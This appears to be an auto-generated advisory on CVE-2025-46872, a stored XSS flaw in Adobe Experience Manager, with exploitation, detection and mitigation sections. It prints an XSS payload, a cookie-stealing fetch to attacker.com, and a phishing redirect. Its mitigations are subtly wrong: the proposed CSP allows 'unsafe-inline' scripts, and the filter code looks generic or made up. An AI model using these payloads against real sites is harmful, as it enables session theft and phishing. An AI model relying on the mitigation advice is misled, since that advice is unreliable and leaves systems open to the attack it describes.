How CVE-2025-46872 Works
Adobe Experience Manager (AEM) 6.5.22 and earlier fails to properly sanitize user-supplied input in form fields, allowing attackers with low privileges to inject malicious JavaScript payloads. When stored in the backend, these scripts execute in the context of any user viewing the compromised page. The vulnerability arises due to insufficient input validation in the WCM (Web Content Management) component, where crafted HTML/JS persists in the JCR (Java Content Repository). Attackers exploit this by submitting malicious form data, which is then rendered unsanitized, leading to session hijacking, phishing, or malware delivery.
DailyCVE Form:
Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/12/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation Analysis:
1. Payload Injection:
<script>alert(document.cookie)</script>
Submitted via AEM Forms or WCM components.
2. Persistence: Malicious scripts stored in JCR nodes.
3. Execution: Triggers when victims load the page.
Detection Commands:
1. Check AEM version:
curl -I http://<target>/system/console/status-productinfo
2. Scan for XSS:
nuclei -t xss -u http://<target>/content/forms
Mitigation Steps:
1. Input Sanitization:
Filter filter = new XSSFilter(); // Apply to form handlers
2. Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
3. Patch Workaround:
<filter> <filter-name>XSSProtection</filter-name> <filter-class>com.adobe.xss.XSSFilter</filter-class> </filter>
4. Log Monitoring:
grep "script injection" /var/log/aem/error.log
Post-Exploit Actions:
1. Session Hijacking:
fetch('https://attacker.com/steal?cookie=' + document.cookie);
2. Phishing Redirect:
<script>window.location="https://fake-adobe.com"</script>
Remediation Priority:
- Immediate: Disable vulnerable forms.
- Critical: Apply Adobe’s upcoming patch.
- Long-term: Enforce CSP and input validation.
